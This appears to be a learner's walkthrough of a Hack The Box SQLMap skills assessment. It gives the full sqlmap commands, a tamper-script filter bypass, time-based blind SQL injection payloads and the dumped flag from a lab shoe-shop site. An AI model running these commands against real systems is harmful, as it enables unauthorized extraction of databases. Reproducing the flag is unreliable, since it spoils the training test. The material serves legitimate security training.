Skills Assessment - SQLMap Essentials

Description:
You are given access to a web application with basic protection mechanisms. Use the skills learned in this module to find the SQLi vulnerability with SQLMap and exploit it accordingly. To complete this module, find the flag and submit it here.

Challenge 1

What's the contents of table final_flag?
Hint: First, navigate the website to find potential attack vectors. Then, try to use various security bypassing techniques you learned to get SQL injection working.

Lets first visit the target on a browser tab:

Pasted image 20260212141336.png

The site looks like shoe shop, the first step is to open BurpSuite proxy to monitor the network traffic and see if there is anything we might be able to use, see Intercepting Web Requests and Proxy Setup for this. ()note this can also be done with browser devtools.

After playing with the site for while I found the following flow:

  1. First go to the Catalog > Shop tab.
  2. Then on any shoe item click on Add To Cart +
    • This will run a php script that will give an alert to the user to say the the item was added

      Pasted image 20260212144515.png|318

When clicking the Add to Cart + button, we notice a POST request to action.php

Pasted image 20260212144636.png

The following is the exact request retrieved from BurpSuite:

POST /action.php HTTP/1.1
Host: 154.57.164.62:32551
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 8
Origin: http://154.57.164.62:32551
Connection: keep-alive
Referer: http://154.57.164.62:32551/shop.html
Priority: u=0

{"id":1}

This looks like it might be a good place to check. I’ll copy it as curl, then replace the command with sqlmap:

sqlmap 'http://154.57.164.62:32551/action.php' \
  -X POST \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: */*' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Content-Type: application/json' \
  -H 'Origin: http://154.57.164.62:32551' \
  -H 'Connection: keep-alive' \
  -H 'Referer: http://154.57.164.62:32551/shop.html' \
  -H 'Priority: u=0' \
  --data-raw '{"id":1}'

Output:

...
[14:00:58] [INFO] (custom) POST parameter 'JSON id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[14:00:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:00:58] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[14:01:02] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[14:01:07] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[14:01:12] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[14:01:16] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[14:01:21] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[14:01:25] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[14:01:30] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[14:01:34] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[14:01:39] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[14:01:43] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[14:01:48] [INFO] checking if the injection point on (custom) POST parameter 'JSON id' is a false positive
[14:02:00] [WARNING] it appears that the character '>' is filtered by the back-end server. You are strongly advised to rerun with the '--tamper=between'
(custom) POST parameter 'JSON id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 2203 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"id":"1 AND (SELECT 9738 FROM (SELECT(SLEEP(5)))Wbrz)"}
---
[14:03:27] [INFO] the back-end DBMS is MySQL
...

Note on the above output that sqlmap found the parameter JSON id to be vulnerable, and therefore identified an injection point. Now that we know SQL injection is possible on this target, lets go ahead and follow their suggestion regarding bypassing techniques. I will start by trying temper scripts as in the last section.

sqlmap 'http://154.57.164.62:32551/action.php' \
  -X POST \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: */*' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Content-Type: application/json' \
  -H 'Origin: http://154.57.164.62:32551' \
  -H 'Connection: keep-alive' \
  -H 'Referer: http://154.57.164.62:32551/shop.html' \
  -H 'Priority: u=0' \
  --data-raw '{"id":1}' \
  --tamper=between --is-dba

Output:

...
[14:16:02] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[14:16:02] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
a
[14:16:14] [INFO] adjusting time delay to 2 seconds due to good response times
dmin@localhost
current user is DBA: False
[14:18:09] [INFO] fetched data logged to text files under '/home/macc/.local/share/sqlmap/output/154.57.164.62'

[*] ending @ 14:18:09 /2026-02-12/

Looks like we are not a DBA, but we do seem to be getting information from the system. We’ll test it out and see if we can pull the table:

sqlmap 'http://154.57.164.62:32551/action.php' \
  -X POST \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: */*' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Content-Type: application/json' \
  -H 'Origin: http://154.57.164.62:32551' \
  -H 'Connection: keep-alive' \
  -H 'Referer: http://154.57.164.62:32551/shop.html' \
  -H 'Priority: u=0' \
  --data-raw '{"id":1}' \
  --tamper=between --dump -T "final_flag"

Output:

[14:24:54] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[14:24:54] [INFO] fetching current database
[14:24:54] [INFO] resumed: psoduction
[14:24:54] [INFO] fetching columns for table 'final_flag' in database 'psoduction'
[14:24:54] [INFO] resumed: 0
[14:24:54] [ERROR] unable to retrieve the number of columns for table 'final_flag' in database 'psoduction'
[14:24:54] [WARNING] unable to retrieve column names for table 'final_flag' in database 'psoduction'
do you want to use common column existence check? [y/N/q]

[14:25:02] [WARNING] unable to enumerate the columns for table 'final_flag' in database 'psoduction'
[14:25:02] [INFO] fetched data logged to text files under '/home/macc/.local/share/sqlmap/output/154.57.164.62'

Note that even though the dump didn't work but we got the database name: "psoduction", or at least it looks like it is a database name, lets verify it now doing a --flush-session just to make sure the database is not called "production" instead and was retrieved erroneously by sqlmap as as "psoduction"

sqlmap 'http://154.57.164.62:32551/action.php' \
  -X POST \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: */*' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Content-Type: application/json' \
  -H 'Origin: http://154.57.164.62:32551' \
  -H 'Connection: keep-alive' \
  -H 'Referer: http://154.57.164.62:32551/shop.html' \
  -H 'Priority: u=0' \
  --data-raw '{"id":1}' \
  --flush-session --tamper=between --dump -T "final_flag"
(custom) POST parameter 'JSON id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 2210 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"id":"1 AND (SELECT 2405 FROM (SELECT(SLEEP(5)))jhOx)"}
---
[15:07:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[15:07:26] [INFO] the back-end DBMS is MySQL
[15:07:26] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[15:07:37] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[15:07:37] [INFO] fetching current database
[15:07:37] [INFO] retrieved:
[15:07:48] [INFO] adjusting time delay to 2 seconds due to good response times
production
[15:09:11] [INFO] fetching columns for table 'final_flag' in database 'production'
[15:09:11] [INFO] retrieved: 2
[15:09:17] [INFO] retrieved: id
[15:09:33] [INFO] retrieved: content
[15:10:34] [INFO] fetching entries for table 'final_flag' in database 'production'
[15:10:34] [INFO] fetching number of entries for table 'final_flag' in database 'production'
[15:10:34] [INFO] retrieved: 1
[15:10:38] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
HTB{n07_50_h4rd_r16h7?!}
[15:14:26] [INFO] retrieved: 1
Database: production
Table: final_flag
[1 entry]
+----+--------------------------+
| id | content                  |
+----+--------------------------+
| 1  | HTB{n07_50_h4rd_r16h7?!} |
+----+--------------------------+

[15:14:32] [INFO] table 'production.final_flag' dumped to CSV file '/home/macc/.local/share/sqlmap/output/154.57.164.62/dump/production/final_flag.csv'
[15:14:32] [INFO] fetched data logged to text files under '/home/macc/.local/share/sqlmap/output/154.57.164.62'

[*] ending @ 15:14:32 /2026-02-12/

flag: HTB